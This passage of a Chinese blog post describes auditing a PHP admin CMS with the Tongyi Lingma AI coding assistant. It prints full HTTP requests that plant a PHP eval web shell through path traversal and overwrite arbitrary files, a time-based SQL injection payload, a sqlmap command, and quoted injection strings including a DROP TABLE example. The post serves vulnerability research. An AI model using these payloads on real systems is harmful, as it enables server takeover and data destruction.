Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../shell&type=php&content=<?php eval($_POST[1]);?>

返回包提示添加成功

image

在static目录下可以看到该上传的文件

image

由于没有限制文件格式和内容,此处是可以上传任何格式和内容

同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数

image

这里直接延用上述请求包即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../../ceshi.txt&type=txt&content=nihao

但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)

执行后结果如下:

image

原测试文件内容如下:

image

执行后文件内容如下:

image

可以看到已实现对任意文件内容的修改

SQL注入漏洞

看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力

进入到广告管理模块下面,看到其调用的方法来自AD.php

继续使用上述prompt:

已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险

它给出的回答如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:

1. index 方法中的 where 条件

->where('a.title', 'like', "%" . $key . "%")

成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。

2. editState 方法中的 where 条件

if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){


成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

3. del 方法中的 where 条件

db('ad')->where(array('id'=>input('id')))->delete();

成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。

最好使用参数绑定来确保安全性。

4. delall 方法中的 where 条件

$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();

成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。

比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:

请详细讨论editState 方法中的 where 条件

灵码就会针对该方法进行详细的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。

这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。

SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。

示例攻击
假设用户发送以下 POST 请求:

POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&open=1

生成的 SQL 语句将是:

UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1

这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。

image

对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置

image

抓包如下,构造延迟注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close

id=38 and sleep(5)&open=1

验证发现可以延迟

image

随后采用SQLmap进行验证存在

1
py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba

image

workspace工作空间分析

除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:

image

进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:

@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。

灵码给出的回复如下:

image

如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:

请指出该程序中可能存在的安全漏洞并加以简要分析

但是这种方法的缺点就在于”随机性”太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。

image

这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。

总结及展望

我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。

但同时,它仍然存在可提升空间:

  • 在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。
  • 在workspace模式下,有些过于僵硬,不能很好的理解我的需求

回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。